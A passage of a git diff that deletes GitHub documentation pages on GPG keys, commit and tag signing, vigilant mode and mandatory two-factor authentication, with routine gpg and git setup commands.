/github/authenticating-to-github/adding-a-new-gpg-key-to-your-github-account - - /github/authenticating-to-github/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account - - /articles/updating-an-expired-gpg-key - - /authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key - - /github/authenticating-to-github/updating-an-expired-gpg-key - - /github/authenticating-to-github/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key - - /authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Add a GPG key ---- - -## About addition of GPG keys to your account - -To sign commits associated with your account on {% data variables.product.github %}, you can add a public GPG key to your personal account. Before you add a key, you should check for existing keys. If you don't find any existing keys, you can generate and copy a new key. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys) and [AUTOTITLE](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key). - -You can add multiple public keys to your account on {% data variables.product.github %}. Commits signed by any of the corresponding private keys will show as verified. {% ifversion persistent-commit-verification %}Once a commit has been verified, any commits signed by the corresponding private key will continue to show as verified, even if the public key is removed.{% else %}If you remove a public key, any commits signed by the corresponding private key will no longer show as verified.{% endif %} - -![Screenshot of a list of commits. One commit is marked as "Verified." A dropdown shows the commit was signed and when it was signed.](/assets/images/help/settings/verified-persistent-commit.png) - -To verify as many of your commits as possible, you can add expired and revoked keys. If the key meets all other verification requirements, commits that were previously signed by any of the corresponding private keys will show as verified and indicate that their signing key is expired or revoked. - -{% data reusables.gpg.supported-gpg-key-algorithms %} - -When verifying a signature, {% data variables.product.github %} extracts the signature and attempts to parse its key ID. The key ID is then matched with keys added to {% data variables.product.github %}. Until a matching GPG key is added to {% data variables.product.github %}, it cannot verify your signatures. - -## Adding a GPG key - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Next to the "GPG keys" header, click **New GPG key**. -1. In the "Title" field, type a name for your GPG key. -1. In the "Key" field, paste the GPG key you copied when you [generated your GPG key](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key). -1. Click **Add GPG key**. -1. If prompted, authenticate to your {% data variables.product.prodname_dotcom %} account to confirm the action. - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification) diff --git a/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md b/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md deleted file mode 100644 index a34bf236f613..000000000000 --- a/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Associating an email with your GPG key -intro: 'Your GPG key must be associated with a verified email that matches your committer identity.' -redirect_from: - - /articles/associating-an-email-with-your-gpg-key - - /github/authenticating-to-github/associating-an-email-with-your-gpg-key - - /github/authenticating-to-github/managing-commit-signature-verification/associating-an-email-with-your-gpg-key -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Associate email with GPG key ---- - -If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% data variables.location.product_location %}, then you can begin signing commits and signing tags. - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.list-keys-with-note %} -{% data reusables.gpg.copy-gpg-key-id %} -1. Enter `gpg --edit-key GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`: - - ```shell - gpg --edit-key 3AA5C34371567BD2 - ``` - -1. Enter `gpg> adduid` to add the user ID details. - - ```shell - gpg> adduid - ``` - -1. Follow the prompts to supply your real name, email address, and any comments. You can modify your entries by choosing `N`, `C`, or `E`. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address).{% endif %} - - ```shell - Real Name: OCTOCAT - Email address: "octocat@github.com" - Comment: GITHUB-KEY - Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? - ``` - -1. Enter `O` to confirm your selections. -1. Enter your key's passphrase. -1. Enter `gpg> save` to save the changes - - ```shell - gpg> save - ``` - -1. Enter `gpg --armor --export GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`: - - ```shell - $ gpg --armor --export 3AA5C34371567BD2 - # Prints the GPG key, in ASCII armor format - ``` - -1. Upload the GPG key by [adding it to your GitHub account](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account). - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key) -* [AUTOTITLE](/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) diff --git a/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md b/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md deleted file mode 100644 index 20792d3a25e5..000000000000 --- a/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Checking for existing GPG keys -intro: 'Before you generate a GPG key, you can check to see if you have any existing GPG keys.' -redirect_from: - - /articles/checking-for-existing-gpg-keys - - /github/authenticating-to-github/checking-for-existing-gpg-keys - - /github/authenticating-to-github/managing-commit-signature-verification/checking-for-existing-gpg-keys -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Existing GPG keys ---- -{% data reusables.gpg.supported-gpg-key-algorithms %} - -> [!NOTE] -> GPG does not come installed by default on macOS or Windows. To install GPG command line tools, see [GnuPG's Download page](https://www.gnupg.org/download/). - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.list-keys-with-note %} -1. Check the command output to see if you have a GPG key pair. - * If there are no GPG key pairs or you don't want to use any that are available for signing commits and tags, then [generate a new GPG key](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key). - * If there's an existing GPG key pair and you want to use it to sign commits and tags, you can display the public key using the following command, substituting in the GPG key ID you'd like to use. In this example, the GPG key ID is `3AA5C34371567BD2`: - - ```shell - $ gpg --armor --export 3AA5C34371567BD2 - # Prints the GPG public key, in ASCII armor format - ``` - - Consider exporting your keys with the option `--export-options export-minimal`, which can prevent misreading keys that contain deprecated fields. - - You can then [add your GPG key to your GitHub account](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account). - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) diff --git a/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md b/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md deleted file mode 100644 index c6519dfe1df5..000000000000 --- a/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Displaying verification statuses for all of your commits -shortTitle: Displaying verification for all commits -intro: You can enable vigilant mode for commit signature verification to mark all of your commits and tags with a signature verification status. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Identity - - Access management -redirect_from: - - /github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits - - /github/authenticating-to-github/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits ---- - -## About vigilant mode - -When you work locally on your computer, Git allows you to set the author of your changes and the identity of the committer. This, potentially, makes it difficult for other people to be confident that commits and tags you create were actually created by you. To help solve this problem you can sign your commits and tags. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) and [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags). {% data variables.product.prodname_dotcom %} marks signed commits and tags with a verification status. - -By default commits and tags are marked "Verified" if they are signed with a GPG, SSH, or S/MIME key that was successfully verified. If a commit or tag has a signature that can't be verified by {% data variables.product.prodname_dotcom %}, we mark the commit or tag "Unverified." In all other cases no verification status is displayed. - -However, you can give other users increased confidence in the identity attributed to your commits and tags by enabling vigilant mode in your {% data variables.product.prodname_dotcom %} settings. With vigilant mode enabled, all of your commits and tags are marked with one of three verification statuses: - -{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} - -You should only enable vigilant mode if you sign all of your commits and tags and use an email address that is verified for your {% data variables.product.github %} account as your committer email address. After enabling this mode, any unsigned commits or tags that you generate locally and push to {% data variables.product.github %} will be marked "Unverified." - -{% data reusables.identity-and-permissions.verification-status-check %} - -## Enabling vigilant mode - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Under "Vigilant mode," select **Flag unsigned commits as unverified**. diff --git a/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md b/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md deleted file mode 100644 index d9c947453872..000000000000 --- a/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Generating a new GPG key -intro: 'If you don''t have an existing GPG key, you can generate a new GPG key to use for signing commits and tags.' -redirect_from: - - /articles/generating-a-new-gpg-key - - /github/authenticating-to-github/generating-a-new-gpg-key - - /github/authenticating-to-github/managing-commit-signature-verification/generating-a-new-gpg-key -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- -{% data reusables.gpg.supported-gpg-key-algorithms %} - -## Generating a GPG key - -> [!NOTE] -> Before generating a new GPG key, make sure you've verified your email address. If you haven't verified your email address, you won't be able to sign commits and tags with GPG.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% endif %} - -1. Download and install [the GPG command line tools](https://www.gnupg.org/download/) for your operating system. We generally recommend installing the latest version for your operating system. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Generate a GPG key pair. Since there are multiple versions of GPG, you may need to consult the relevant [_man page_](https://en.wikipedia.org/wiki/Man_page) to find the appropriate key generation command. - * If you are on version 2.1.17 or greater, paste the text below to generate a GPG key pair. - - ```shell copy - gpg --full-generate-key - ``` - - * If you are not on version 2.1.17 or greater, the `gpg --full-generate-key` command doesn't work. Paste the text below and skip to step 6. - - ```shell copy - gpg --default-new-key-algo rsa4096 --gen-key - ``` - -1. At the prompt, specify the kind of key you want, or press `Enter` to accept the default. -1. At the prompt, specify the key size you want, or press `Enter` to accept the default. -1. Enter the length of time the key should be valid. Press `Enter` to specify the default selection, indicating that the key doesn't expire. Unless you require an expiration date, we recommend accepting this default. -1. Verify that your selections are correct. -1. Enter your user ID information. - - > [!NOTE] - > When asked to enter your email address, ensure that you enter the verified email address for your GitHub account. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address) and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address).{% endif %} - -1. Type a secure passphrase. -{% data reusables.gpg.list-keys-with-note %} -{% data reusables.gpg.copy-gpg-key-id %} -1. Paste the text below, substituting in the GPG key ID you'd like to use. In this example, the GPG key ID is `3AA5C34371567BD2`: - - ```shell copy - gpg --armor --export 3AA5C34371567BD2 - # Prints the GPG key ID, in ASCII armor format - ``` - -1. Copy your GPG key, beginning with `-----BEGIN PGP PUBLIC KEY BLOCK-----` and ending with `-----END PGP PUBLIC KEY BLOCK-----`. -1. [Add the GPG key to your GitHub account](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account). - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) diff --git a/content/authentication/managing-commit-signature-verification/index.md b/content/authentication/managing-commit-signature-verification/index.md deleted file mode 100644 index 5935388f7e67..000000000000 --- a/content/authentication/managing-commit-signature-verification/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing commit signature verification -intro: '{% data variables.product.github %} will verify GPG, SSH, or S/MIME signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.github %} will automatically sign commits you make using the web interface.{% endif %}' -redirect_from: - - /articles/generating-a-gpg-key - - /articles/signing-commits-with-gpg - - /articles/managing-commit-signature-verification - - /github/authenticating-to-github/managing-commit-signature-verification -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -children: - - /about-commit-signature-verification - - /displaying-verification-statuses-for-all-of-your-commits - - /checking-for-existing-gpg-keys - - /generating-a-new-gpg-key - - /adding-a-gpg-key-to-your-github-account - - /telling-git-about-your-signing-key - - /associating-an-email-with-your-gpg-key - - /signing-commits - - /signing-tags -shortTitle: Verify commit signatures ---- diff --git a/content/authentication/managing-commit-signature-verification/signing-commits.md b/content/authentication/managing-commit-signature-verification/signing-commits.md deleted file mode 100644 index 3b0f0396c363..000000000000 --- a/content/authentication/managing-commit-signature-verification/signing-commits.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Signing commits -intro: 'You can sign commits locally using GPG, SSH, or S/MIME.' -redirect_from: - - /articles/signing-commits-and-tags-using-gpg - - /articles/signing-commits-using-gpg - - /articles/signing-commits - - /github/authenticating-to-github/signing-commits - - /github/authenticating-to-github/managing-commit-signature-verification/signing-commits -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- -{% data reusables.gpg.desktop-support-for-commit-signing %} - -> [!TIP] -> To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`. -> -> To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools: -> * For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the macOS Keychain. -> * For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools. -> -> You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with macOS Keychain like ssh-agent and requires more setup. - -If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key). - -1. When committing changes in your local branch, add the -S flag to the git commit command: - - ```shell - $ git commit -S -m "YOUR_COMMIT_MESSAGE" - # Creates a signed commit - ``` - -1. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key). -1. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.github %}: - - ```shell - $ git push - # Pushes your local commits to the remote repository - ``` - -1. On {% data variables.product.github %}, navigate to your pull request. -{% data reusables.repositories.review-pr-commits %} -1. To view more detailed information about the verified signature, click **Verified.** - - ![Screenshot of a commit in the commit list for a repository. "Verified" is highlighted with an orange outline.](/assets/images/help/commits/verified-commit.png) - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags){% ifversion fpt or ghec %} -* [AUTOTITLE](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces){% endif %} diff --git a/content/authentication/managing-commit-signature-verification/signing-tags.md b/content/authentication/managing-commit-signature-verification/signing-tags.md deleted file mode 100644 index 504076201b6f..000000000000 --- a/content/authentication/managing-commit-signature-verification/signing-tags.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Signing tags -intro: 'You can sign tags locally using GPG, SSH, or S/MIME.' -redirect_from: - - /articles/signing-tags-using-gpg - - /articles/signing-tags - - /github/authenticating-to-github/signing-tags - - /github/authenticating-to-github/managing-commit-signature-verification/signing-tags -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- -{% data reusables.gpg.desktop-support-for-commit-signing %} - -1. To sign a tag, add `-s` to your `git tag` command. - - ```shell - $ git tag -s MYTAG - # Creates a signed tag - ``` - -1. Verify your signed tag by running `git tag -v [tag-name]`. - - ```shell - $ git tag -v MYTAG - # Verifies the signed tag - ``` - -## Further reading - -* [AUTOTITLE](/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) diff --git a/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md deleted file mode 100644 index ff0962d60329..000000000000 --- a/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Telling Git about your signing key -intro: 'To sign commits locally, you need to inform Git that there''s a GPG, SSH, or X.509 key you''d like to use.' -redirect_from: - - /articles/telling-git-about-your-gpg-key - - /articles/telling-git-about-your-signing-key - - /github/authenticating-to-github/telling-git-about-your-signing-key - - /github/authenticating-to-github/managing-commit-signature-verification/telling-git-about-your-signing-key -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Tell Git about your signing key ---- - -## Telling Git about your GPG key - -{% mac %} - -If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% data variables.location.product_location %}, then you can begin signing commits and signing tags. - -> [!NOTE] -> If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key). - -If you have multiple GPG keys, you need to tell Git which one to use. - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.configure-gpg-signing %} -{% data reusables.gpg.list-keys-with-note %} -{% data reusables.gpg.copy-gpg-key-id %} -{% data reusables.gpg.paste-gpg-key-id %} -{% data reusables.gpg.set-auto-sign %} -1. If you aren't using the GPG suite, run the following command in the `zsh` shell to add the GPG key to your `.zshrc` file, if it exists, or your `.zprofile` file: - - ```shell - $ if [ -r ~/.zshrc ]; then echo -e '\nexport GPG_TTY=$(tty)' >> ~/.zshrc; \ - else echo -e '\nexport GPG_TTY=$(tty)' >> ~/.zprofile; fi - ``` - - Alternatively, if you use the `bash` shell, run this command: - - ```shell - $ if [ -r ~/.bash_profile ]; then echo -e '\nexport GPG_TTY=$(tty)' >> ~/.bash_profile; \ - else echo -e '\nexport GPG_TTY=$(tty)' >> ~/.profile; fi - ``` - -1. Optionally, to prompt you to enter a PIN or passphrase when required, install `pinentry-mac`. For example, using [Homebrew](https://brew.sh/): - - ```shell - brew install pinentry-mac - echo "pinentry-program $(which pinentry-mac)" >> ~/.gnupg/gpg-agent.conf - killall gpg-agent - ``` - -{% endmac %} - -{% windows %} - -If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% data variables.location.product_location %}, then you can begin signing commits and signing tags. - -> [!NOTE] -> If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key). - -If you have multiple GPG keys, you need to tell Git which one to use. - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.configure-gpg-signing %} -{% data reusables.gpg.list-keys-with-note %} -{% data reusables.gpg.copy-gpg-key-id %} -{% data reusables.gpg.paste-gpg-key-id %} -{% data reusables.gpg.set-auto-sign %} - -{% endwindows %} - -{% linux %} - -If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% data variables.location.product_location %}, then you can begin signing commits and signing tags. - -> [!NOTE] -> If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key). - -If you have multiple GPG keys, you need to tell Git which one to use. - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.configure-gpg-signing %} -{% data reusables.gpg.list-keys-with-note %} -{% data reusables.gpg.copy-gpg-key-id %} -{% data reusables.gpg.paste-gpg-key-id %} -{% data reusables.gpg.set-auto-sign %} -1. To add your GPG key to your `.bashrc` startup file, run the following command: - - ```bash - [ -f ~/.bashrc ] && echo -e '\nexport GPG_TTY=$(tty)' >> ~/.bashrc - ``` - -{% endlinux %} - -## Telling Git about your SSH key - -You can use an existing SSH key to sign commits and tags, or generate a new one specifically for signing. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -{% data reusables.gpg.ssh-git-version %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.configure-ssh-signing %} -{% data reusables.gpg.paste-ssh-public-key %} - -{% windows %} - -{% data reusables.gpg.x-509-key %} - -{% endwindows %} - -{% mac %} - -{% data reusables.gpg.x-509-key %} - -{% endmac %} - -## Further reading - -* [AUTOTITLE](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account). -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-mandatory-two-factor-authentication.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-mandatory-two-factor-authentication.md deleted file mode 100644 index dee1471d61cc..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-mandatory-two-factor-authentication.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: About mandatory two-factor authentication -intro: 'Enable mandatory two-factor authentication to secure your account and maintain access to {% data variables.product.prodname_dotcom_the_website %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - 2FA -shortTitle: About mandatory 2FA ---- - -{% data reusables.two_fa.mandatory-2fa-contributors-2023-nested %} - -## About eligibility for mandatory 2FA - -Your account is selected for mandatory 2FA if you have taken some action on {% data variables.product.github %} that shows you are a contributor. Eligible actions include: -* Publishing an app or action for others -* Creating a release for your repository -* Contributing to specific high-importance repositories, such as [the projects tracked by the Open Source Security Foundation](https://github.com/ossf/wg-securing-critical-projects#current-work) -* Being an administrator or a contributor of a high-importance repository -* Being an organization owner for an organization containing repositories or other users -* Being an administrator or a contributor for repositories that published one or more packages -* Being an enterprise administrator - -{% data variables.product.prodname_dotcom %} is continually assessing improvements to our account security features and 2FA requirements, so these criteria may change over time. - -> [!NOTE] -> If your account has an education coupon active, it is exempt from mandatory 2FA. - -### About mandatory 2FA for organizations and enterprises - -Mandatory 2FA is required by {% data variables.product.prodname_dotcom %} itself to improve security for both individual developers and the broader software development ecosystem. Your administrator may also require 2FA enablement as a requirement to join their organization or enterprise, but those requirements are separate from this program. To find which users have enabled 2FA or are required to do so, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-whether-members-in-your-enterprise-have-2fa-enabled) or [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled). - -Your account's eligibility for mandatory 2FA **does not** impact the eligibility of other individuals. For example, if you are an organization owner, and your account is eligible for mandatory 2FA, that does not impact the eligibility of other accounts within your organization. - -> [!NOTE] -> {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_emus %} and on-premise {% data variables.product.prodname_ghe_server %} users are **not** required to enable 2FA. Mandatory 2FA enablement only applies to users with a password on {% data variables.product.prodname_dotcom_the_website %}. - -## About failure to enable mandatory 2FA - -If you do not enable 2FA within the 45 day setup period, and you allow the 7 day grace period to expire, you will not be able to access {% data variables.product.prodname_dotcom_the_website %} until you enable 2FA. If you attempt to access {% data variables.product.prodname_dotcom_the_website %}, you will be prompted to enable 2FA. - -If you fail to enable mandatory 2FA, tokens that belong to your account will continue to function since they are used in critical automation. These tokens include {% data variables.product.pat_generic_plural %} and OAuth tokens issued to applications to act on your behalf. Enabling 2FA will not revoke or change the behavior of tokens issued for your account. However, locked accounts will not be able to authorize new apps or create new PATs until they've enabled 2FA. - -## About required 2FA methods - -We recommend setting up a time-based one-time password (TOTP) app as your primary 2FA method, and adding a passkey or security key as a backup. If you don't have a passkey or security key, the {% data variables.product.prodname_mobile %} app is a good backup option as well. SMS is reliable in most countries, but has security risks that some threat models may not work with. - -Currently, we don't support passkeys or security keys as primary 2FA methods since they are easy to lose and do not support sync across a wide enough range of devices. As passkeys are more widely adopted and sync support is more prevalent, we will support them as a primary method. - -* [About TOTP apps and mandatory 2FA](#about-totp-apps-and-mandatory-2fa) -* [About SAML SSO and mandatory 2FA](#about-saml-sso-and-mandatory-2fa) -* [About email verification and mandatory 2FA](#about-email-verification-and-mandatory-2fa) - -> [!NOTE] -> We recommend retaining cookies on {% data variables.product.prodname_dotcom_the_website %}. If you set your browser to wipe your cookies every day, you'll never have a verified device for account recovery purposes, as the [`_device_id` cookie](https://github.com/privacy/cookies) is used to securely prove you've used that device previously. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials#authenticating-with-a-verified-device-ssh-token-or-personal-access-token). - -### About TOTP apps and mandatory 2FA - -TOTP apps are the recommended 2FA factor for {% data variables.product.prodname_dotcom %}. For more information on configuring TOTP apps, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-totp-app). - -If you do not want to download an app on your mobile device, there are multiple options for standalone TOTP apps that run across platforms. For desktop applications, we recommend [KeePassXC](https://keepassxc.org/), and for browser-based plugins, we recommend [1Password](https://support.1password.com/one-time-passwords/#to-save-your-qr-code-using-the-1password-browser-extension). - -You can also manually set up any app that generates a code compatible with RFC 6238. For more information on manually setting up a TOTP app, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-totp-app). For more information on RFC 6238, see [TOTP: Time-Based One-Time Password Algorithm](https://datatracker.ietf.org/doc/html/rfc6238) in the IETF documentation. - -> [!NOTE] -> If you are using FreeOTP for 2FA, you may see a warning about weak cryptographic parameters. {% data variables.product.prodname_dotcom %} uses an 80 bit secret to ensure compatibility with older versions of Google Authenticator. 80 bits is lower than the 128 bits recommended by the HOTP RFC, but at this time we have no plans to change this and recommend ignoring this message. For more information, see [HOTP: An HMAC-Based One-Time Password Algorithm](https://www.ietf.org/rfc/rfc4226.txt) in the IETF documentation. - -### About SAML SSO and mandatory 2FA - -If you have been selected for mandatory 2FA, you must enroll in 2FA on {% data variables.product.prodname_dotcom_the_website %} even if your company already requires single sign-on (SSO) with 2FA. While SSO with 2FA is a powerful way to protect organization or enterprise-owned resources, it does not protect user-owned content on {% data variables.product.prodname_dotcom_the_website %} unrelated to an organization or enterprise, nor does it protect a user's profile and settings. - -{% data variables.product.prodname_dotcom %} only requires you to perform 2FA on the initial authentication and for sensitive actions, so even if you have to perform corporate 2FA every day to access {% data variables.product.prodname_dotcom %}, you will rarely have to perform 2FA a second time through {% data variables.product.prodname_dotcom %}. For more information on sensitive actions, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/sudo-mode). - -### About email verification and mandatory 2FA - -When you log in to {% data variables.product.prodname_dotcom_the_website %}, email verification does not count as 2FA. Your account's email address is used for password resets, which are a form of account recovery. If an attacker has access to your email inbox, they can reset the password for your account and pass the email device verification check, reducing your account's protection to a single factor. We require a second factor to prevent this scenario, so that second factor must be distinct from your email inbox. When you enable 2FA, we will no longer perform email verification on login. - -### About service accounts and mandatory 2FA - -Unattended or shared access accounts in your organization, such as bots and service accounts, that are selected for mandatory two-factor authentication, must enroll in 2FA. Enabling 2FA will not revoke or change the behavior of tokens issued for the service account. {% data variables.product.prodname_dotcom %} recommends securely storing the TOTP secret of the service account in shared credential storage. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/managing-bots-and-service-accounts-with-two-factor-authentication). - -## About your privacy with mandatory 2FA - -If you have been selected for mandatory 2FA, that **does not** mean you have to provide {% data variables.product.prodname_dotcom %} with your phone number. You only have to provide your phone number if you use SMS for 2FA. 